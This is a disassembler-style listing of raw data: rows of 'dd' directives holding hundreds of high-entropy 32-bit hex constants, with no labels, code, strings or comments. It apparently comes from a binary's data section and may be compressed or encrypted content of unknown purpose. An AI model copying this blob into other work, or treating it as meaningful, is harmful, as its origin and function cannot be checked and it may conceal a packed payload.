		dd 5C48D51Eh, 102CC793h, 7D09AD26h, 1D807A5Dh, 58A0D3h
		dd 48E5494Bh, 0D77E2953h, 1C6C53Eh, 9162674Fh, 0E9E31C26h
		dd 0F3FC601Fh, 161A000Dh, 52218450h, 4300F825h,	980E319Ch
		dd 2D02358Bh, 4040AD15h, 660019ACh, 18C336ABh, 7C420ADEh
		dd 0B4809F53h, 45A30B29h, 63A01D61h, 0EDE4D225h, 0C13601A8h
		dd 0F627B7A1h, 0E7AC00Dh, 91A60802h, 4075D96Dh,	79109B8Ch
		dd 6CDE00FCh, 0B21F5BD7h, 0E30057B8h, 0C8F342D1h, 96AE6E9h
		dd 0A9242EC9h, 10480860h, 9DA71F00h, 18C7163Eh,	2E501F55h
		dd 5F4A0727h, 0C033458Ah, 0BA47198Dh, 516853Dh,	6C07213Ch
		dd 515DD080h, 4E8F01BDh, 0C263F0D5h, 74F82020h,	0C0BE0700h
		dd 0B0F685E4h, 0BDC93965h, 453926h, 96AE76A9h, 9906B168h
		dd 0A83261FEh, 2B090059h, 0EB9D1CC9h, 51C0E410h, 0D60DBE72h
		dd 30DB00D5h, 0DDB6A7E9h, 0CC38234Bh, 7DC70018h, 0AA043A44h
		dd 0A96F3399h, 0E9E0D058h, 78CED19Fh, 2A13ABD5h, 0FB9C40B2h
		dd 6C4077D2h, 61B44E60h, 0D88E54BCh, 0F09C1CCDh, 5D17CBB6h
		dd 24013009h, 38C329F2h, 84992434h, 0A79A800Eh,	0DD90587Ah
		dd 5B2C46C7h, 7D64003Dh, 9235D8EAh, 7B055BEAh, 0E43C7971h
		dd 0F88018C5h, 0F0D9E15h, 3FB03EF2h, 48A44283h,	0F989A5C0h
		dd 9658873Ch, 0DF02560Ch, 0C00F2A30h, 5DBBFFh, 0ECA8F96Bh
		dd 3A413CC2h, 8691680Fh, 0ED29E0DCh, 5BDB65h, 2A146325h
		dd 0EF4543B9h, 0D317E000h, 72F8106Ah, 66AF0B8Bh, 0AA8CFE88h
		dd 0A2B0659Ch, 6A0A88A1h, 0BC641C40h, 7A8B2763h, 0C779008Ah
		dd 0EAC9821Ah, 0B10148E7h, 74214D07h, 0E8642211h, 0D2C2E2Eh
		dd 60BB0011h, 4352A667h, 545A572Eh, 766E1904h, 2E01A4B8h
		dd 3BA07FD5h, 5A9D883h,	0B8CA5100h, 396FE8F6h, 7FD10115h
		dd 63E5689Ah, 0FC11D497h, 2901DF00h, 42DA2BB4h,	10C10E57h
		dd 0F0A027A2h, 7762F78Ch, 8807824Ah, 3413FDD0h,	99FCC1AEh
		dd 5A9BC4h, 0CC5B7219h,	5E9C071Eh, 8924C600h, 0C077338Ch
		dd 23595817h, 40DA491Dh, 55FB9E50h, 4161D671h, 0A561D96Ah
		dd 0E2F416F1h, 499000B4h, 0AFAA5114h, 0E0901295h, 3171E1Fh
		dd 0EE5A7F80h, 495D4B35h, 82042C78h, 0F4725036h, 0FF44D48h
		dd 0E71C9C03h, 755AB8h,	0BDDC1E29h, 0B5E238C1h,	0AAA9790Bh
		dd 976800A3h, 1D81023h,	781882B0h, 0C0F4F92Ch, 2759072Fh
		dd 1530846Ch, 3229FF4Eh, 0E1915F03h, 984439A8h,	0F7CB0400h
		dd 115355BFh, 431D26C6h, 8A60C0B0h, 5F0057DEh, 11F317E2h
		dd 0EAA6CFh, 6DC127DAh,	45DBFDC0h, 0EC8D2A00h, 60A8082Ch
		dd 0BEA071Dh, 0A023441Fh, 0F5F226C4h, 0B38C5D24h, 0A86CC202h
		dd 47BC685Ch, 0BC69008Fh, 52C93FE9h, 600095E2h,	0BAB629B0h
		dd 9F15349h, 5A3E59EAh,	238D401h, 70B86477h, 5F31D39h
		dd 63AAE90Ah, 0A103F4B9h, 764EA384h, 53588E98h,	0B8D69826h
		dd 0A72B0039h, 29176AF7h, 0D992044Eh, 919385A8h, 9EFE4318h
		dd 4A1354D1h, 98816CF0h, 830A259Ch, 270C4C58h, 71C6D470h
		dd 0EFA816F4h, 5C3C00FEh, 0BED3E605h, 443BC70Fh, 7C327630h
		dd 3BA3B3Fh, 0C70010C6h, 0A552C5FAh, 4CAF6A25h,	0C800E082h
		dd 6D7AED41h, 41CB45A7h, 879C1817h, 0D4290E59h,	0C225BFB8h
		dd 6B5C2C52h, 0F7EF5F02h, 6429A7F4h, 0B10200F8h, 3DCA5DAAh
		dd 0C800F28Dh, 645E7662h, 0D08447h, 4144544Ch, 19290873h
		dd 28347C00h, 0FE9A38D7h, 149D0048h, 46EFDC2Ch,	0DB09588Fh
		dd 804A1173h, 0D13E72B8h, 0E010032h, 0B3817F9Bh, 0C8001EEDh
		dd 474326CCh, 199EF93h,	31055BB4h, 80E77C5Fh, 0E9B34B11h
		dd 9160FB6h, 0BA753A43h, 0CEEB1821h, 1DE18103h,	768C3447h
		dd 5B03080h, 0AE3AC694h, 8CEC842Ch, 0BFB53200h,	0FA6237E6h
		dd 14ED329Bh, 78746D48h, 0F1214A87h, 0B3280821h, 1FD365C8h
		dd 52CCE87h, 503C68h, 139C5B9Fh, 0C200BAC0h, 9BCC4EB1h
		dd 15CE28h, 4B665193h, 303C1145h, 0A3FC3900h, 763E4DE7h
		dd 0AFA5011Fh, 877FBBF3h, 0C7F4D8D2h, 0F0C55B00h, 0EAD3892Ch
		dd 16DCE684h, 8592BEh, 9B9CE81Ch, 4000A8BFh, 9A2E5112h
		dd 0AC9F1Eh, 114F64E6h,	156EC885h, 14B69500h, 860822E7h
		dd 605374D6h, 6EE63AACh, 3D01F5F3h, 300A90E2h, 0D1E49B09h
		dd 0B9F81C9Fh, 1CD8D338h, 0FB6C433Eh, 9CF022F9h, 0C1C02014h
		dd 5787C74Eh, 2BA13955h, 6E4BD984h, 0C1408031h,	460CE0B7h
		dd 1A18047Bh, 0EAE7F4DBh, 0F073589Eh, 8026F903h, 43B03E70h
		dd 5E1354E4h, 2800A74Fh, 353AB6A1h, 0BD890E32h,	0ED854505h
		dd 7F480C7h, 2400F08Eh,	0E39837E0h, 2F4B6A2Bh, 886A8015h
		dd 8E3C44D0h, 0C63D0B89h, 3950D04Ah, 5439165Fh,	76350281h
		dd 605D9EF1h, 5502BCF5h, 1C62F5EBh, 75F44995h, 0E378213Bh
		dd 8C410029h, 0E957009Ch, 8A03648Dh, 0EA006B38h, 0B0BB861Bh
		dd 0BAD6EBh, 4BBC5278h,	0FAB30C3Eh, 5C275839h, 514080B4h
		dd 9A204C3h, 3A4C7107h,	6EFBA4A0h, 2B6F3BD8h, 0A15EA011h
		dd 0BA3AABA9h, 0E830A040h, 8027B720h, 17479086h, 3C02F464h
		dd 0BAB3D96Ah, 0B4BC4024h, 5BE04F8h, 0C068EAB9h, 6C27966Dh
		dd 0C9E35307h, 5950603Eh, 1D4863ABh, 2BBE5B2h, 2A04FAADh
		dd 0D07E7C62h, 52C8800h, 94A12FDCh, 0E6DE00F8h,	0A057B017h
		dd 0E0C8F400h, 2D1B6CBEh, 184E3D0Bh, 41050CCCh,	0C3549A36h
		dd 0C084CD52h, 49AB34E0h, 24CC24Ch, 0BDDB272Dh,	0D16C6893h
		dd 601F009Bh, 0BA2F4E78h, 62167054h, 3C80C008h,	1C7A7264h
		dd 4069C3A2h, 0DBBC83FFh, 560098E2h, 852E0540h,	966FAF27h
		dd 501354h, 0EA44D38Ch,	0FCE8C5D9h, 0CFDF9402h,	48FE9C27h
		dd 41EEB14h, 0C0CE38CBh, 1310AC8Dh, 0B839026Dh,	72A0D86Ch
		dd 0DA0014BDh, 6D34E7D1h, 206BBF7h, 265FE9B8h, 18C48D85h
		dd 0A8C0FC94h, 0EF95DC9h, 8242CFD9h, 0A81E1E8Bh, 401658h
		dd 0EC17A453h, 33B03543h, 0C368F840h, 1A236CC8h, 0A7E35402h
		dd 69D34E3Bh, 1839C680h, 5F03384Ch, 0E4F9E52Ch,	9F74FD90h
		dd 805DB428h, 0B83C77EEh, 0AC273A84h, 43C92CEAh, 8B44DCFCh
		dd 3083AB6Eh, 0E8C1A8F2h, 3F7D0161h, 7908234Dh,	4BEC6287h
		dd 2030042Dh, 2B1E002Ah, 9EFC7481h, 0F080E3B2h,	0E4E800BFh
		dd 0F28F2137h, 7D00EB43h, 87F70A66h, 1178386h, 372C0BFEh
		dd 62AD5E50h, 6824035Ch, 7A8BA7DAh, 56234EA8h, 0C1D4F450h
		dd 4C18B24Ch, 0CF800F4Ch, 8529038Bh, 0C14E86Ch,	74C890E0h
		dd 7A0102ECh, 494BF124h, 7B004856h, 99468285h, 64D40004h
		dd 0F4733470h, 184837B8h, 53C600B0h, 0B76C4739h, 581B00DCh
		dd 9E5AEFA4h
		dd 7AF4259Ch, 0BBC80D07h, 2C071B4h, 170E0ACh, 9B07208Bh
		dd 70825EC0h, 13079FD4h, 0FB58C674h, 6AC2240h, 9E641289h
		dd 0E220477Eh, 988D60ABh, 400007CAh, 0ED99033h,	258F0665h
		dd 3CD9D26Fh, 0AEEB6D00h, 18F6F8h, 0ABAAA8DFh, 0D46B08A7h
		dd 8296DB3Eh, 9B5239BAh, 2698801Eh, 42AA6EEh, 0AC0DF620h
		dd 22F9C643h, 190E4600h, 0FCB65B8Fh, 261D00D5h,	5C76E450h
		dd 0C30048D3h, 0ACFD1663h, 3915BA78h, 9401669Ah, 0A93FAA58h
		dd 0DD97D4DAh, 7CFE1C05h, 0E0006AEFh, 0D44FFBEEh, 39ED00E3h
		dd 283AA260h, 6100DB6Fh, 0E2CE594Dh, 0D8709Dh, 847A9014h
		dd 66D61D13h, 0B057801h, 0AFB9A1D5h, 9719368Bh,	9F8A0D0Eh
		dd 6DD20CF8h, 0E200C048h, 5111FBF6h, 0EE71B904h, 24BF0B70h
		dd 6400E0EFh, 9AA8BA47h, 20541100h, 84F0F56Fh, 28255C91h
		dd 1BDB6600h, 0F8C9E55Eh, 1F55BF00h, 0F92D6794h, 0E22AE4CAh
		dd 0B14D025Bh, 0A481547Eh, 0C783A4C0h, 41756730h, 9A397Fh
		dd 0EBE1B319h, 0E773B5FFh, 0A8B0BA24h, 50B4D039h, 40565A25h
		dd 0EC3A4D4h, 93304033h, 15FDEEA0h, 0E400C01Ah,	0BA255FA3h
		dd 3FD8B366h, 0E3A826Eh, 0BFD15482h, 81604B91h,	0A8B8EF0Dh
		dd 8B372709h, 0B4D017h,	0B3E344ADh, 5F14AEBEh, 6DC1510Eh
		dd 0D90A0F8h, 1724B17Dh, 0E022D67Ch, 5A2081D8h,	2CFE2425h
		dd 497DA8A4h, 0B24E8A6h, 0B271DA0h, 880E7E7Ch, 6EAD4261h
		dd 1A118076h, 4EAC9C9Fh, 0A8C50C79h, 0C8500DF1h, 5055F700h
		dd 6C0A7DB6h, 8BA3007Fh, 0F2A2F0Eh, 9E135F15h, 4000F275h
		dd 3E353F07h, 20F005BEh, 0C1F852F4h, 2A340388h,	0EAD6E800h
		dd 695E0Dh, 0E146F2E7h,	0B87F2C1Ch, 7B881F00h, 6B7010EBh
		dd 0EE4000D1h, 16D52692h, 0DF005115h, 62E22E61h, 7B6D7C31h
		dd 0E30C00DDh, 138C5895h, 830F99C7h, 0EA036h, 0B46DB62h
		dd 0B29600A9h, 0B46A4EE0h, 0E54CA829h, 8D7A0434h, 84804C9Ch
		dd 233B11h, 0C72F8924h,	0D92570DCh, 0A56C7426h,	758E5B00h
		dd 3D47DF7h, 1DF2D7BFh,	0C9E89E07h, 0BC1EFBC2h,	4AC7C69Ch
		dd 0EC80975Fh, 0E919DE4h, 3DDC930Eh, 8249422h, 0CEF57A41h
		dd 4013AC5Eh, 0DFD24A00h, 1A8DCA4h, 0B98D4928h,	3110ED86h
		dd 0C0F8E9BFh, 0EA4A13D3h, 0FE878487h, 5E7925F2h, 0DF7A8070h
		dd 4BCAEB28h, 36408DFEh, 1170061h, 0B7E41B26h, 3A2CEC39h
		dd 7E008863h, 59A15793h, 0D0600F47h, 3A0C95Eh, 0C7EF7DF5h
		dd 0C12B8000h, 0D2DBDA56h, 0E5DD1D28h, 0CB0D0965h, 6DA7C880h
		dd 0E0BA2590h, 0D548D4F0h, 0B6740021h, 82816319h, 0B8270070h
		dd 5E41C27Fh, 7E1D804Bh, 0F0086A1h, 1556209h, 0F18B0089h
		dd 0B5A47097h, 0E6EA6FB2h, 5B82A0Bh, 576F83DAh,	6A4BA91Dh
		dd 41F0BAC5h, 0FC181BB5h, 43C9882Bh, 493FECB4h,	71CD641Eh
		dd 91C6C340h, 904B7574h, 0FAEBF45Ch, 794000F1h,	9ECF9D1Eh
		dd 0A1008AF4h, 0B13B4463h, 272D9005h, 1C000462h, 0BB5F5509h
		dd 86286403h, 0B87A3289h, 1E74821Ah, 0A6EE102Ch, 0E94F05FCh
		dd 2550F285h, 96ECE0ACh, 457D3Dh, 3EF15573h, 0DFCBA140h
		dd 230C31ECh, 282BD741h, 918EC048h, 0F61E1C20h,	0E0B13701h
		dd 0C5B03054h, 82E632E5h, 800385E4h, 0BBD94688h, 9ED8008Dh
		dd 0FAAEA36Fh, 0C501B31Dh, 35444B3Dh, 0C0295CF2h, 34C4A300h
		dd 0BE922D3Fh, 24FEEF05h, 0F8FCCA11h, 13A0C928h, 21B4B9D3h
		dd 64D97414h, 10769BB8h, 0AD6C1500h, 0B8F95F97h, 50950BC3h
		dd 60F0D1AAh, 12FDD00h,	5274F486h, 0FBC30371h, 464D28A0h
		dd 0DC8F18BAh, 50CEC742h, 0A44070DCh, 0DC606Fh,	0AEEF3DD0h
		dd 0B8FDCE05h, 0AC88C49Ah, 495BA483h, 1EB14888h, 8057067Fh
		dd 0E86FEE78h, 9000DBCEh, 6B2CEB9Dh, 9A97FF94h,	9C5E0070h
		dd 0F46A6107h, 0D225590Eh, 88F884h, 0E91F5854h,	0C047874h
		dd 54BE67F2h, 7C4880AFh, 1F14B56Fh, 0A52D99E5h,	86132000h
		dd 25FEE97Ah, 0DAF725h,	63DF953Ch, 0F66D00F8h, 39A1188Ch
		dd 0F000F35Fh, 98BA999Eh, 78315EBh, 266E1EB7h, 538FCACh
		dd 14B36F2Eh, 62BA8500h, 1B0E01Ah, 0C2599C36h, 0F0812492h
		dd 970018CDh, 34AA3768h, 0BA0A1E0h, 67535BC8h, 485E1800h
		dd 0D8984C15h, 18221F38h, 0AE111A43h, 4E383E72h, 0D0C0DB00h
		dd 8E3FD240h, 80A86417h, 7A01484Bh, 0B04A1730h,	2FC84155h
		dd 7088FCE3h, 0B34B601Ch, 6FE9CB0h, 7EC4BF7Bh, 0C7001133h
		dd 908C969Bh, 0BFF1107h, 0B2A07CABh, 8055478h, 496FFBFDh
		dd 0EC3A18E8h, 6CA40B5Bh, 80B7ACD2h, 6D41BD0h, 0D6826E0h
		dd 0C1DC048Dh, 7404AF86h, 0FA002095h, 880F84BBh, 70475Ch
		dd 4962CC6Eh, 1D16965h,	97087E31h, 20E013C2h, 57704751h
		dd 43498E01h, 55F5D20Ah, 0D757E03Eh, 90E89C00h,	0F21F18A5h
		dd 0BB970F6Dh, 8200EA9Fh, 285C24ADh, 0F5D0AA01h, 0A96D070Dh
		dd 9E5ED4h, 0CDA4792Bh,	4716C299h, 56D6A200h, 714F42BDh
		dd 3CE40E55h, 1DC15F50h, 6B6B91F3h, 0C3970C23h,	8A758068h
		dd 0FBB400A5h, 0C0DE61DAh, 12077E9Ch, 0CFA39E51h, 0AD661EB1h
		dd 293CD62Bh, 0BA3CC095h, 9C9091h, 236B93C0h, 0D68B2E21h
		dd 3272F90Fh, 5BFFA0B0h, 3FAB39Fh, 0AEE29C3Bh, 26F04C46h
		dd 8D4B5C29h, 90595CA0h, 331E0180h, 4431997Ch, 0CCC02BC3h
		dd 0F44F7B97h, 0B82F0061h, 0BBC156C8h, 7507FD0Bh, 2388AF87h
		dd 4DA2BEF0h, 659001EAh, 5305DEFh, 0AF1830D0h, 2513A8F2h
		dd 7401A9DEh, 83CAD633h, 24F31870h, 92B4BB56h, 891F0F79h
		dd 960B1200h, 5102F0AAh, 0F4F1CF1Ch, 6A487E3h, 0E0EC34F0h
		dd 4D8B0056h, 0F98A08D4h, 1B004113h, 0E864FE15h, 3B107761h
		dd 57968FA0h, 0B080C35Dh, 0D1A2CA0h, 0D6331133h, 39780105h
		dd 0FA5CA6BEh, 0A4093B5Fh, 5B3000C3h, 8E25CFh, 42A0232h
		dd 0E9D76E92h, 0C9343109h, 40DC745Ah, 64F4EF96h, 7CA0474Eh
		dd 0A7B90043h, 0C4851899h, 9DE22098h, 2E376139h, 0AF28A83Dh
		dd 0DC91D0C3h, 578DC24Ch, 0A94D7000h, 63006F41h, 0A1B21FD3h
		dd 0FCBA7469h, 487F7D89h, 2E3A18A6h, 940B19F8h,	206210A7h
		dd 41985AA5h, 8E1C6101h, 0F8B5A5E6h, 1778002Ah,	0C3B34E25h
		dd 1A0AB000h, 50A2C60Ch, 98F412FEh, 30A8F5h, 0F9D3102h
		dd 25B45C4Fh, 44709FCBh, 16037148h, 20A0C1EAh, 0D0FF5BA9h
		dd 0C7D62AB8h, 0C836CB2Dh, 0E8C3ECh, 4B3A9E6Eh,	7207E4Fh
		dd 2012214Ah, 5D3F441h,	0B2E0DD47h, 0BE57008Bh,	8D78E24Bh
		dd 0E0276F95h, 0B4700Ah, 76E44927h, 24F60FDDh, 0C106AFFAh
		dd 0F38EA9ADh, 3EEE0E44h, 320A47Bh, 982C6930h, 5E02BC98h
		dd 7425DCE0h, 8134D6A6h, 14395751h, 60DC311Dh, 4013197Ch
		dd 4C001FCAh, 0B8FAB4F0h, 711213C6h, 86A8009Ch,	8083EDB1h
		dd 484B3200h, 97038A3h,	0FD160B5Ah, 3AA4B9A5h, 60A0C15Fh
		dd 0FCD91381h, 802B0D47h, 319FD215h, 1B553Fh, 27192A49h
		dd 0CAA882F3h, 1A13468h, 0B5079203h, 0C2F0CC25h, 39E0D7F1h
		dd 0E860ED38h, 0B76B0519h, 914002A4h, 7F63289Dh, 0AC4FE850h
		dd 11838CBh, 139711DCh,	2E00E5F6h, 558AB24Ah, 0F080F151h
		dd 0BCB4480Ah, 6CC15B00h, 0F986987Eh, 8063BC3Bh, 0D252FC87h
		dd 7872C5BAh, 18851609h, 3410000Ch, 5C5B8391h, 155EDD00h
		dd 0F13A2D57h, 3707001Dh, 260F4EFDh, 7C03F6EEh,	9314BFEh
		dd 0EDF000DCh, 0F9650B78h, 3A133FD3h, 6CC0CC93h, 3099DED2h
		dd 2E28E488h, 664AC3B9h
		dd 278D088h, 79170AC7h,	0DC802A19h, 61122E2Bh, 18814E0Ch
		dd 0A1EC8F9h, 5887F68Dh, 1D5500D4h, 0D4EA6D3Fh,	0BAAB543Dh
		dd 5626008Ch, 3638173Bh, 0DEC707AEh, 0F9D9E6ADh, 101C5806h
		dd 0FECDC0F3h, 260235E2h, 626E41D8h, 81AC5ED6h,	2E596A43h
		dd 904C708Ch, 3764C4Ch,	0E7D7B2F3h, 96DDA071h, 3EFFCD6h
		dd 7CA2CA4Dh, 9BB1B120h, 4047F1F0h, 19D0C785h, 300E8B1h
		dd 206C5ED1h, 96260E8Eh, 5B00738Ah, 0C0A5E399h,	3DEB00Ch
		dd 785A191Ch, 0D4220090h, 6106106Ah, 7F00FF4Fh,	0DF8B7C02h
		dd 0E83FD6h, 1030C9DBh,	0FC24B595h, 54DDF926h, 62DE4D80h
		dd 793A6B31h, 0FE90048Fh, 0AC14FD92h, 8021EF00h, 970700A6h
		dd 0FC50C265h, 0E12D24Dh, 31B14F24h, 0C4FB49C1h, 0AB308F67h
		dd 54CE4089h, 3D4570A7h, 6C964143h, 80301FB7h, 0D15538AEh
		dd 8B004847h, 8E1E6764h, 3F2DE0CDh, 128AFB36h, 2D49DECh
		dd 7C613F41h, 7E035CF4h, 9B0A9942h, 5C38F973h, 48E865F8h
		dd 64094D32h, 0E680FB8Dh, 7D6087C3h, 0C6D74709h, 0FFB0A3EDh
		dd 0B759B311h, 8F1BF180h, 0C3816E5h, 88E880A7h,	110E8032h
		dd 20A05D9Fh, 0D1338390h, 7891005Ah, 49040B01h,	0CC25BBD5h
		dd 74D221h, 24FB4697h, 513CABE4h, 0E908419Fh, 939C60h
		dd 8819CE0h, 568B7F05h,	80E89A3Eh, 3B55C864h, 0B86A45h
		dd 0AA6528E7h, 67177AEDh, 9F8D1D09h, 0F747AF7h,	684A951Bh
		dd 38EA44C0h, 99F03771h, 3233721Eh, 78B81D13h, 39008470h
		dd 0A6C98F2h, 73C09EC7h, 0BE5A00B7h, 1BCD04B5h,	0E05C959Ah
		dd 0F2007FFCh, 9C910DF8h, 9F92E5h, 56626C5Ah, 0B69A952Bh
		dd 0CA17EF00h, 6421ECC7h, 0D8BA0341h, 99509EB4h, 541DA119h
		dd 21D09818h, 7B7C0DE0h, 81883CB2h, 415C95A8h, 0B5305F72h
		dd 39B0E8ADh, 7B00779Eh, 0C775080Ch, 710698DAh,	23388A33h
		dd 1D6B32D0h, 8498FA90h, 0B60049F2h, 53F954A8h,	0F822690Dh
		dd 9D880717h, 4584CCCh,	0A41FEE12h, 212AF500h, 97A4D0h
		dd 0D89AF326h, 0A785553Bh, 0B0F2BC1Ch, 0C101F4FEh, 0ABF8489Fh
		dd 7BF08105h, 35761C30h, 8B02845Ah, 0E017C4CAh,	2200899Ch
		dd 0A1EC4162h, 84096Eh,	9F45AB73h, 1E132AFCh, 0AEFD3D15h
		dd 5FE301C4h, 81690384h, 6F3261h, 0C87F4CF0h, 0BC60FE24h
		dd 61DD6229h, 7E101E5Fh, 531DC73Ch, 30EA533h, 490E3C8h
		dd 26A4D9D8h, 9979BE0Ch, 749154h, 46D008CCh, 0D12B1C90h
		dd 0EC009EECh, 0C31BD6F9h, 1210EA2Dh, 0B93526BCh, 0B2037E1Ch
		dd 0B66B793Ah, 5145B89Eh, 4969006Fh, 9524C6B7h,	0EF03E6F2h
		dd 549F1E6Bh, 0D0A4F0CCh, 214837A5h, 0AFEB079h,	8F0F5E31h
		dd 0FB247ADh, 2963E080h, 5ACAB767h, 5308B0B1h, 0F6E0A954h
		dd 16B56100h, 8407FD73h, 0FDF3B04h, 88E67600h, 0D4F98522h
		dd 8BA43000h, 8EFC7FEFh, 7CF800DAh, 6F6EEC89h, 7E0798BFh
		dd 316DE187h, 716D007Bh, 0FA6D48Fh, 0E76303DCh,	7853B540h
		dd 600FFC80h, 1340D988h, 82818EEh, 0E5B8A17Fh, 1D4F03Bh
		dd 0FE63FC54h, 96C47E38h, 0E2B01670h, 0FA500ADAh, 0A22F00BFh
		dd 8CD074EEh, 28422C00h, 86708549h, 0CF3F1E65h,	0B20E00C9h
		dd 0AEC2B4FDh, 0D589EA00h, 3975296Bh, 0B034EEE2h, 3DBDEC6Ah
		dd 9C0044A2h, 75D741A9h, 7274F482h, 0F0F15B30h,	30633E53h
		dd 4BA854BBh, 0B677FF26h, 0AFAA4806h, 7084CDBh,	92F7186h
		dd 0C727E57Dh, 35244348h, 4E2B8D88h, 38F8BCFEh,	0E374CC7Ch
		dd 28A7780Fh, 7A88F3Fh,	174694F7h, 2EB70010h, 297C3BE7h
		dd 7900D3F4h, 0B06C1AFBh, 0C75018h, 770FEF8Dh, 753D31BBh
		dd 927A71Fh, 39335D01h,	0E9E062CCh, 30BAE9CAh, 4DF1B703h
		dd 8A0B5CBh, 24009468h,	2A6C803Bh, 2851C23Ah, 8F64B001h
		dd 0FCF05D04h, 0A0125878h, 5E03BA02h, 6C204804h, 3706E4Bh
		dd 580D46D9h, 82C37B1h,	7281B85Fh, 7B86E53h, 4322CF8h
		dd 0FD184E4Fh, 0CDF44034h, 0EA7CA2Eh, 0AD608BA6h, 34C41343h
		dd 567292F0h, 8D1F5978h, 2B02E588h, 0A981ADh, 2E601A4Ah
		dd 77CF88h, 0F8D48B1Ch,	0E59208F4h, 9106E3F2h, 50AF6C7Eh
		dd 5BDC0E48h, 0D8984C85h, 0BE185535h, 0FE9AC9Bh, 2107007Ah
		dd 568C198h, 8CC912Fh, 3513102h, 8F690772h, 0F09931DFh
		dd 96708284h, 7D8CD5Ah,	906E33D5h, 5F181814h, 0BF210E50h
		dd 0A81E3040h, 0EB039FF4h, 6E4A01A4h, 184ED96Fh, 52718883h
		dd 72876E00h, 0AD5F6451h, 941A50F0h, 2AA9791Ch,	0D8FE14h
		dd 0AA17470Ah, 4838557Ch, 37ED831Dh, 4C00E02Ah,	0C7176043h
		dd 0A75F8CBh, 2B93FA0Fh, 0D97B81F4h, 80369887h,	6C172EA8h
		dd 388015BFh, 48E1EC91h, 9D719311h, 3A067D31h, 51157B1h
		dd 41BEC43Bh, 0D5D84C5Dh, 21C02809h, 5ABE9C1Bh,	0FAD6312Bh
		dd 409211B1h, 0C2917B20h, 0B98E9402h, 0A4551356h, 0A9605334h
		dd 5D1048BEh, 94B0D790h, 0C007BEC1h, 20BFD974h,	0D2ECD0CDh
		dd 0CE14925h, 0EE930404h, 637C0E83h, 1832905Eh,	49DEB628h
		dd 7879AD5Ch, 9F58C348h, 24907212h, 10BD290h, 4FE3761Dh
		dd 0F05324C1h, 3160C468h, 21D29848h, 0BA20CE1Bh, 24073549h
		dd 202CC688h, 7A370AE6h, 2EC190F7h, 1D07E11h, 5F863083h
		dd 9805D798h, 3F40850h,	94DAA41Fh, 1C1DA9D0h, 7BFE09AAh
		dd 82AB0424h, 6E30C268h, 77D0B707h, 14468ACh, 76500EDh
		dd 0F65AA55Eh, 19C01C9Bh, 0D43B74F7h, 81AC0061h, 6A2E473Eh
		dd 0C50FC04Bh, 0E35F1130h, 0A86FD6A1h, 0A0A8F3D5h, 4F5D7D90h
		dd 65A7E038h, 46014893h, 5D7C9F17h, 44880718h, 0A117145Fh
		dd 0C508981Eh, 3097811h, 20903041h, 0D975116Eh,	8084887Eh
		dd 2F6E4873h, 6F0C453Fh, 81F93AE7h, 8643003Dh, 7C02CA1Dh
		dd 13677A5Bh, 5E00AEE9h, 0AE370EEh, 86A067D9h, 9A4E0ECCh
		dd 882359BBh, 6E1E0943h, 222E9405h, 6D207D44h, 9776E46h
		dd 0E399FA5Eh, 0FD542420h, 0D4A00EA3h, 3128A405h, 60469468h
		dd 0A6174B01h, 0B31357Ch, 17440976h, 2182C48Ah,	1C40DCF7h
		dd 980C708Eh, 0C8F45E0Ah, 0D3E1447h, 5FE8A038h,	7956008Ch
		dd 0D93C0EABh, 0DD39CC21h, 0F0FAA8ADh, 66593A02h, 0A01A9BACh
		dd 843CA8A0h, 30B00016h, 3AF340B3h, 6DE60180h, 504DC201h
		dd 39B212Bh, 0B1183180h, 0F349969Dh, 0BDDE5C01h, 3D9A3094h
		dd 1088D940h, 4863E4B8h, 0F612DC47h, 48FC08F3h,	4BBEA6C0h
		dd 8FB8435Dh, 9E4FFC21h, 11B3A55Eh, 0E97DB802h,	4E5CC7D3h
		dd 3A0A82B1h, 0B1C0A011h, 0E93466h, 0A1AE3B35h,	0E5F81749h
		dd 2AB0740Eh, 4E4D5D5h,	6AC2947Bh, 9B20E089h, 82098C0h
		dd 34AD118h, 597B5B0Dh,	193DABF0h, 0B01B50ADh, 30B4557Ah
		dd 0FC1024C8h, 0AD5B400h, 461F4272h, 0FE0F005Ch, 0E16AE328h
		dd 4A63AD27h, 0F8F25B38h, 98FA9174h, 200A000Eh,	19920E4Ch
		dd 4DE8E696h, 5B6C410Fh, 0B6613883h, 61A0A8DFh,	89370708h
		dd 0F7F30C71h, 9FB58070h, 47564C7Fh, 0BEA51EC4h, 0C4B05D88h
		dd 0BD904132h, 0E6F8E8BEh, 0A29609A7h, 0EC0004C3h, 400D36CFh
		dd 1842C8A1h, 7C6E081Fh, 0F37326D9h, 0D9D29047h, 8754245Fh
		dd 2C9F02D4h, 8F0914DAh, 0C26CA644h, 0C46D32F8h, 8AC6B08h
		dd 4E74ACF9h, 23F25E00h, 0A8AD3E99h, 8FBCA006h,	5C80E294h
		dd 0D029345Ch, 8B030BE8h, 3CE84388h, 0A91D4104h, 40DC9972h
		dd 257CAC05h, 39C0DC91h, 2BA1742h, 6897AD12h, 0BCA1B6D9h
		dd 0C4F118AFh, 0A800FA82h
		dd 8C5EEC56h, 4D553609h, 6980E4BDh, 79982007h, 5211F58Ch
		dd 0F5E1D861h, 2B243B05h, 0B0081BB0h, 6E4CC05Dh, 1E4CD969h
		dd 5487E000h, 0EC2D006Eh, 0C8DF2373h, 7C020FF4h, 0B29AF6ACh
		dd 37808077h, 0A00A589Dh, 5E42398h, 947C92E0h, 5DD89082h
		dd 0E0BA749Dh, 0B037522Eh, 504465Eh, 64C594FDh,	923B43Ah
		dd 3E02A707h, 0D37E49C0h, 0D1E09928h, 287187Eh,	0A0F6A7EDh
		dd 0B462FA63h, 0A684A681h, 0D584406Bh, 0F360D7C0h, 0B32B1FD9h
		dd 0B1CCB2BCh, 1807D1C8h, 988F0495h, 0C1DA0D5Ah, 0D17659E4h
		dd 5F742025h, 3A8E7C3Ch, 243C80A8h, 0A6685198h,	0D9A0A094h
		dd 315D3018h, 1A92DDE1h, 8758D15Ch, 80C8825Bh, 539C754Fh
		dd 5560FD5Fh, 6E13D2F1h, 7A3E01Ch, 514C7703h, 0F25CF06Dh
		dd 5492E2B7h, 828C8800h, 4B85C7ADh, 46AC1241h, 50983090h
		dd 0F8A1D34Ch, 97B18C3h, 0C9984A07h, 503B5C1Ch,	9B6C0073h
		dd 9FA6437Fh, 0FD393075h, 0A41544B1h, 0F2366700h, 7D422E7Bh
		dd 621B084h, 9C93B88Ah,	430B491Fh, 803208E3h, 82CA88EAh
		dd 126A0090h, 0B077F536h, 20947F81h, 2B140AD6h,	86D404CCh
		dd 2126B6A7h, 1FA1453Fh, 294085E9h, 9356C011h, 2EA7FCBh
		dd 6325BEADh, 0F4C4A3FEh, 4A017146h, 3D7CAB17h,	8B060C38h
